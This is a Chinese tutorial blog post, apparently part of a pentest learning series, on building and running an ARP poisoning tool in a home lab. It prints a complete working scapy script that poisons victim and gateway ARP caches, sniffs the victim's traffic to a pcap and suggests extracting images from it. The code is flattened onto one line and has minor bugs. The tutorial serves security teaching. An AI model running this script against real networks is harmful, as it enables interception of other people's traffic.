转载请注明作者及出处:

ARP投毒是最古老的黑客技术之一,它的逻辑相当简单:欺骗目标设备,使其相信我们是它的网关;然后欺骗网关,告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备,都维护着一段ARP缓存,里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击,我们会往这些ARP缓存中投毒,即在缓存中插入我们编造的记录

一. 实验准备

windows10(IP:192.168.0.194  MAC:00:0c:29:95:ad:52)

kali linux(IP:192.168.0.192  MAC:00:0c:29:a3:bd:e2)

网关(IP:192.168.0.1  MAC:58:d9:d5:e1:d9:50)

二.实验开始

首先我们开启本地主机对网关和目标设备的流量转发功能

开启转发功能后,启动arper.py脚本,并检查目标设备的ARP缓存

趁着脚本工作的时间,我们去目标设备检查一下受害设备的ARP表

可以看到,可怜的受害机拿着一份被投毒的ARP表,其中网关的MAC地址其实是攻击机192.168.0.192的。在攻击脚本arper.py运行结束后,将会在脚本所在目录下生成一个名为arper.pcap的文件。

到此,ARP投毒操作算是圆满完成了,下面我们来看一些干货,看看刚才我们使用的脚本工具arper.py是怎么运作起来的,至于刚才生成的arper.pcap文件我们在学习完工具的运作原理之后再来研究。话不多说,上源码。

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import timedef get_mac(targetip):packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)resp, _ = srp(packet, timeout=2, retry=10, verbose=False)for _, r in resp:return r[Ether].srcreturn Noneclass Arper:def __init__(self, victim, gateway, interface='eth0'):self.victim = victimself.victimmac = get_mac(victim)self.gateway = gatewayself.gatewaymac = get_mac(gateway)self.interface = interfaceconf.iface = interfaceconf.verb = 0print(f'Initialized {interface}:')print(f'Gateway ({gateway}) is at {self.gatewaymac}.')print(f'Victim ({victim}) is at {self.victimmac}.')print('-'*30)def run(self):self.poison_thread = Process(target=self.poison)self.poison_thread.start()self.sniff_thread = Process(target=self.sniff)self.sniff_thread.start()def poison(self):poison_victim = ARP()poison_victim.op = 2poison_victim.psrc = self.gatewaypoison_victim.pdst = self.victimpoison_victim.hwdst = self.victimmacprint(f'ip src: {poison_victim.psrc}')print(f'ip dst: {poison_victim.pdst}')print(f'mac dst: {poison_victim.hwdst}')print(f'mac src: {poison_victim.hwsrc}')print(poison_victim.summary())print('-'*30)poison_gateway = ARP()poison_gateway.op = 2poison_gateway.psrc = self.victimpoison_gateway.pdst = self.gatewaypoison_gateway.hwdst = self.gatewaymacprint(f'ip src: {poison_gateway.psrc}')print(f'ip dst: {poison_gateway.pdst}')print(f'mac dst: {poison_gateway.hwdst}')print(f'mac_src: {poison_gateway.hwsrc}')print(poison_gateway.summary())print('-'*30)print(f'Beginning the ARP poison. [CTRL-C to stop]')while True:sys.stdout.write('.')sys.stdout.flush()try:send(poison_victim)send(poison_gateway)except KeyboardInterrupt:self.restore()sys.exit()else:time.sleep(2)def sniff(self, count=200):time.sleep(5)print(f'Sniffing {count} packets')bpf_filter = "ip host %s" % victimpackets = sniff(count=count, filter=bpf_filter, iface=self.interface)wrpcap('arper.pacp', packets)print('Got the packets')self.restore()self.poison_thread.terminate()print('Finished.')def restore(self):print('Restoring ARP tables...')send(ARP(op=2,psrc=self.gateway,hwsrc=self.gatewaymac,pdst=self.victim,hwdst='ff:ff:ff:ff:ff:ff'),count=5)send(ARP(op=2,psrc=self.victim,hwsrc=self.victimmac,pdst=self.gateway,hwdst='ff:ff:ff:ff:ff:ff'),count=5)if __name__ == '__main__':(victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])myarp = Arper(victim, gateway, interface)myarp.run()

首先我们定义了get_mac函数来获取任意设备的MAC地址,然后定义了一个Arper类,用来投毒、嗅探、恢复网络设置。

首先来讲get_mac函数,这个函数能找出任意IP地址对应的MAC地址,我们可以用它来找受害机和网关的MAC地址。在该函数的第一行代码中,我们传入目标IP地址并创建了一个查询数据包,我们使用的Ether函数表示这个数据包将会被全网广播,ARP函数构造了一个MAC地址查询请求,用来询问每个节点其地址是否为这个目标IP地址。后续,我们使用srp函数发送这个数据包,这样就能在网络协议栈的第二层上收发数据,接收到的应答数据会被存到 resp 变量中,里面记录着目标IP地址在Ether层的MAC地址。

在Arper类中,我们用受害机的IP地址、网关IP地址、eth0网卡来初始化这个类。有了这些信息后,填充interface、victim、victimmac、gateway、gatewaymac等成员变量,并把它们输出到屏幕上。

下面我们来到run函数,run函数负责执行Arper对象的工作,它配置并启动了两个进程:一个用来毒害ARP缓存,另一个用来嗅探网络流量、实时监控攻击过程。

我们在poison函数中构建用来攻击的恶意数据。首先,构建出毒害受害机的恶意ARP数据包,然后用类似的方法构建毒害网关的恶意ARP数据包。我们毒害网关时会发送受害机的IP地址与攻击机的的MAC地址,毒害受害机时会发送网关的IP地址与攻击机的MAC地址。随后把这些信息打印到屏幕上,这样就能确认数据包的接收者和攻击载荷了。

接下来我们用一个无限循环不停地把恶意数据包发往它们的目的地,以确保攻击过程中ARP缓存一直处于中毒状态。这个循环会一直持续到Ctrl+C组合键被按下为止(KeyboardInterrupt),这时我们会将网络状态恢复为原样(把正确信息发送给受害机和网关,还原投毒攻击前的状态)。

下面来到sniff嗅探函数,这个函数会在开始嗅探前休眠5秒,给投毒线程留下足够的启动时间,它只嗅探那些带有受害机IP地址的数据包,并且仅嗅探指定的个数(200个)。嗅探完这些数据包后,sniff函数会把它们存进一个名为 arper.pcap 的文件,将ARP表中的数据还原为原来的值,然后终止投毒线程。

最后restore函数会给受害机和网关发送正确的ARP信息,将它们恢复为投毒前的状态。

对于之前工具生成的arper.pcap文件,我们可以用wireshark直接打开,也可以用其他脚本工具将里面存储的数据包内容提取出来,里面存储了我们刚才投毒后窃取到的200个数据包内容,至于内容具体是什么,由于每个人得到的数据包都各不相同,所以交给大家自行去探究,可以尝试从数据包中提取图片或者识别人脸图像,这里不予教学。

< 渗透测试学习指南 > python编写ARP投毒工具相关推荐

  1. <渗透测试学习指南> 信息收集(三)获取目标应用版本等详细信息

    转载请注明作者和出处: 本章将讲述如何获取目标系统信息.端口信息等详细信息 上一章我们讲到了获取目标真实IP及子域名信息的几种典型方法,但是单靠真实IP和子域名还无法让我们顺利的完成一项渗透测试任务, ...

  2. 内部视频放送 |《Python安全攻防:渗透测试实战指南》知识星球

    如果你立志成为一名合格的安全从业者,想突破"脚本小子"的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!<Python安全攻防:渗透测试实战指南>马上就要 ...

  3. 【保姆级】黑客入门教程「Python安全攻防:渗透测试实战指南」经典纯狱风~

    前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...

  4. 黑客零基础入门教程《Python安全攻防:渗透测试实战指南》极致经典,学完即可包吃包住

    前言 网络江湖,风起云涌,攻防博弈,从未间断,且愈演愈烈.从架构安全到被动纵深防御,再到主动防御.安全智能,直至进攻反制,皆直指安全的本质--攻防.未知攻,焉知防! 每一位网络安全从业者都有仗剑江湖的 ...

  5. python渗透测试编程技术基础书评_【新手必看】渗透测试学习书籍推荐

    Web综合渗透方向 <Web安全攻防:渗透测试实战指南> 该书出版于2018-7,全书416页,涉及知识面虽广,但90%的知识点都不深入,在新手层面相对深入讲解了SQL注入的利用:知识排序 ...

  6. 《黑客秘笈——渗透测试实用指南》—第2章2.3节 外部或内部的主动式信息收集...

    本节书摘来自异步社区<黑客秘笈--渗透测试实用指南>一书中的第2章2.3节 外部或内部的主动式信息收集,作者[美]Peter Kim(彼得 基姆),更多章节内容可以访问云栖社区" ...

  7. 渗透测试实战指南笔记

    第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...

  8. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  9. 《渗透测试实践指南 必知必会的工具与方法 (原书第2版)》读书摘录

    ----------------------------------------------------------------------------分割线--------------------- ...

  10. 《黑客秘笈——渗透测试实用指南(第2版)》目录—导读

    版权 黑客秘笈--渗透测试实用指南(第2版) • 著 [美] Peter Kim 译 孙 勇 责任编辑 傅道坤 • 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 3 ...

最新文章

  1. Maven多工程的创建
  2. 时间卷积网络(TCN)在 NLP 多领域发光,RNN 或将没落
  3. android文件的写入与读取---简单的文本读写context.openFileInput() context.openFileOutput()...
  4. python和c哪个好找工作-Python和c哪个效率高一些
  5. [译] 如何使用纯函数式 JavaScript 处理脏副作用
  6. 如何计算一年总共有多少周_余额宝1万一天收益多少?如何计算?
  7. python超神之路:创建对象的9种方法
  8. TestinPro应用与DevOps之路
  9. display:none;与visibility:hidden;的区别
  10. python--xlrd: xlrd.open_workbook excel.xls CompDocError解决办法
  11. 使用3DMM进行人脸重建中的配准方法
  12. python jieba库的使用
  13. Spark 高难度对话 SQL Server - 续篇
  14. 中奖人js滚动效果_原生js实现中奖信息无间隙滚动效果
  15. 学习率设置-warm up与consine learning rate
  16. 百度云曲显平:AIOps时代下如何用运维数据系统性地解决运维问题?
  17. 大型游戏后台实践浅谈
  18. 神秘的程序员头像包 第二发
  19. 计算机耐火等级不低于,网络信息安全知识:网吧营业场所应设置在耐火等级不低于()级的建筑物内。...
  20. Java的IO流之File类

热门文章

  1. android时间格式am pm,pm时间(am.pm正确时间书写格式)
  2. 白马非马的面向对象分析
  3. Excel中经纬度格式化处理
  4. eclipse修改自定义皮肤
  5. 双边功率谱密度和单边功率谱密度_以高斯信号为例,计算幅度谱、相位谱、双边功率谱、双边功率谱密度、单边功率谱、单边功率谱密度。...
  6. openwrt reboot流程
  7. Driverjs-前端引导页组件
  8. from scipy.misc import comb ImportError: cannot import name ‘comb‘
  9. HTML5教程之FileList文件列表对象的应用
  10. LeetCode刷题笔记——(8/17 - 8/27)